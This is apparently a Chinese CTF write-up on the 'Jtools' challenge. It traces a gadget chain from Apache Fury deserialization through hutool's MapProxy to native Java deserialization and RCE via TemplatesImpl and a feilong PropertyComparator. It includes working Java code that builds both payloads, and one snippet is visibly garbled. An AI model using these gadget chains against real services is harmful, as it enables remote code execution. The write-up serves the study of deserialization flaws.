官方 Writeup
https://xz.aliyun.com/news/17029

摘要

Monad 给 Rust-Action 这题想了个非预期做法,本来要是想到了预期解的 rust 特性,这题立马就秒了,哪还需要什么 trick
可就是没想到,于是在比赛时想了好久要怎么拿非预期的那个特性来 rce
还真给我在吃饭的时候想到一个特别特别妙的 trick(tel 的奇思妙想,做不出来题的时候就去吃个饭放松一下吧.jpg)
要多轮跑脚本作盲注,我写不出来代码了,还是 Monad 按着我那思路立马出脚本,牛批

然后,然后就没心力作其他题了,摆烂……
赛后也是拖了很久才来复现

Jtools

哈哈哈哈哈哈,评价是大粪题

0x00

裸的 fury 反序列化,而且也不是用的 spring 框架
反序列化获取 object 后直接调用了一遍 toString
那么就不用管 readObject 什么的,其实就跟原生反序列化差不多
得找从 toString 到 rce 的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HttpUtil.createServer(8888).addAction("/", request, response -> {
String result;
String data = request.getParam("data");
if (data == null) {
response.write(IOReaderUtil.readToString("/tmp/desc.txt"), ContentType.TEXT_PLAIN.toString());
}
try {
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
Object deserialize = fury.deserialize(Base64.getDecoder().decode(data));
result = deserialize.toString();
} catch (Exception e) {
result = e.getMessage();
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();

看一遍依赖项

  1. cn.hutoolJSONObject#put 可以调用非 jdk 类的 getter 方法

需要找 toString 到 put 的可能链

  1. InvokerTransformer 中还是可以 invoke 调到 rce 的

想着有无从 getter 到 rce 或者从 toString 到 rce

  1. ……看了一下午,发现想歪了,是要打二次反序列化

0x01 黑名单

fury 自带的黑名单,实现在 org.apache.fury.resolver.DisallowedList#checkNotInDisallowedList

1
2
3
4
5
static {
try (InputStream is = DisallowedList.class.getClassLoader().getResourceAsStream("fury/disallowed.txt")) {
......
}
}

解 jar 包之后可以和官方的 disallowed.txt做对比
这题多了一行 com.feilong.lib

刚好 0x00 这部分记录到的 com.feilong.lib.collection4.functors.InvokerTransformer 就在这个下面,所以不能往这里想了

0x02 fury -> 原生反序列化

得需要找另外的 sink

如果能优先猜测是二次反序列化的话

对着项目中调用了 readObject 的地方作初步筛选

  1. cn.hutool.core.io.IoUtil#readObj
  2. cn.hutool.crypto.ASN1Util#decode

在筛一遍,发现项目中没有 ASN1InputStream

那就只剩 cn.hutool.core.io.IoUtil#readObj

1
2
3
4
5

cn.hutool.core.convert.impl.BeanConverter#convertInternal ->
cn.hutool.core.util.ObjectUtil#deserialize ->
cn.hutool.core.util.SerializeUtil#deserialize ->
cn.hutool.core.io.IoUtil#readObj

再理理

Codeql 辅助一下搜搜

1
2
3
4
5
6
7
cn.hutool.core.map.MapProxy#invoke ->
cn.hutool.core.convert.Convert#convertWithCheck ->
cn.hutool.core.convert.ConverterRegistry#convert ->
cn.hutool.core.convert.impl.BeanConverter#convertInternal ->
cn.hutool.core.util.ObjectUtil#deserialize ->
cn.hutool.core.util.SerializeUtil#deserialize ->
cn.hutool.core.io.IoUtil#readObj

现在思考的是如何调用 MapProxy#invoke

MapProxy 继承了 InvocationHandler
PriorityQueuecomparator 一般就可以拿来套 invoke 了

0x03 原生反序列化

之前题目黑名单多加了 com.feilong.lib
此时二次反序列化已经绕过了这个限制
那么这个 com.feilong.lib 某种程度来说,是出题人给的一个小提示
找能 rce 的 sink 可以优先考虑这个包下的类

需要知道:如果有一个函数,可以借用 ta 来调用任意类的 getter,已经是一个能 rce 的 sink 了
可是 调用任意类 getter 这个条件,难以用 codeql 的语法表示出来

com.feilong.lib下搜 .invoke( 基本也可以手动定位了

虽然是这么说,但实际上:com.feilong.lib.beanutils.PropertyUtilsBean 并不会作为一个 obj 参与到序列化中

最后就是 PropertyComparator#compare

0x04 代码

先看原生反序列化,如下关键代码就够了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "tel");
byte[] code = Files.readAllBytes(Paths.get("target/test-classes/evil.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

PropertyComparator comparator = new PropertyComparator("outputProperties");
PriorityQueue queue = new PriorityQueue((o1, o2) -> 0);
queue.add(templates);
queue.add(0);
setFieldValue(queue, "comparator", comparator);

serialize(queue);
unserialize("ser.bin");
}

后面的理清楚,再看前面的 Fury 反序列化
这里 MapProxy 比较搞心态

如果用的是 comparator.compare
parameterTypes.length==2
会直接走到最后,报出异常
所以不能用 compare
需要另外找 trick

1
2
3
4
5
6
7
8
9
10
public Object invoke(Object proxy, Method method, Object[] args) {
Class<?>[] parameterTypes = method.getParameterTypes();
if (ArrayUtil.isEmpty(parameterTypes)) {
......
} else if (1 == parameterTypes.length) {
......
}

throw new UnsupportedOperationException(method.toGenericString());
}

先看需要满足什么条件

  • 返回类不能是 void
  • 必须是无参函数
  • 方法名必须是 getXXX 或 isXXX
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (ArrayUtil.isEmpty(parameterTypes)) {
Class<?> returnType = method.getReturnType();
if (Void.TYPE != returnType) {
String methodName = method.getName();
String fieldName = null;
if (methodName.startsWith("get")) {
fieldName = StrUtil.removePreAndLowerFirst(methodName, 3);
} else if (BooleanUtil.isBoolean(returnType) && methodName.startsWith("is")) {
fieldName = StrUtil.removePreAndLowerFirst(methodName, 2);
} else {
if ("hashCode".equals(methodName)) {
return this.hashCode();
}

if ("toString".equals(methodName)) {
return this.toString();
}
}

if (StrUtil.isNotBlank(fieldName)) {
if (!this.containsKey(fieldName)) {
fieldName = StrUtil.toUnderlineCase(fieldName);
}

return Convert.convert(method.getGenericReturnType(), this.get(fieldName));
}
}
}

返回值类型 也有要求,不能是 java.lang.Class,同时需要满足 BeanUtil.isBean == True(详见 ConverterRegistry#convert)

BeanUtil.isBean 其实就是这个类有 setter 或有 public 属性即可

1
2
3
public statihasSetter(clazz) || hasPublicField(clazz);c boolean isBean(Class<?> clazz) {
return
}

最重要的还是 Fury 反序列化之后调用 toString,能再调用到这个 method invoke
在 PropertyComparator 调用 getter 这个过程中需要序列化的类是没有被 Fury 黑名单禁用的
只需要找到符合要求的 TrickClass,调用那个对应的 getter 就可以触发到 invoke

就是说,Fury 反序列化可以调用到任意类的 getter
但是 Templates 等很多已知的 rce getter 都出现在 Fury 自带的黑名单里
所以需要找另外的 getter 来实现 rce

但是又让我想起 getConnection 打 jdbc 了
可是这里没有 Driver(这么说我还是不熟)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
byte[] code = Files.readAllBytes(Paths.get("ser.bin"));

HashMap map = new HashMap();
map.put("attribute", code);

MapProxy mapProxy = new MapProxy(map);

Object obj = Proxy.newProxyInstance(FuryUnser.class.getClassLoader(),
new Class[]{AnnotationAttribute.class},
mapProxy);

PropertyComparator comparator = new PropertyComparator("attribute");
PriorityQueue queue = new PriorityQueue((o1, o2) -> 0);
queue.add(obj);
queue.add(obj);
setFieldValue(queue, "comparator", comparator);

Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
byte[] data = fury.serialize(queue);
System.out.println(data.length);
fury.deserialize(data);

结束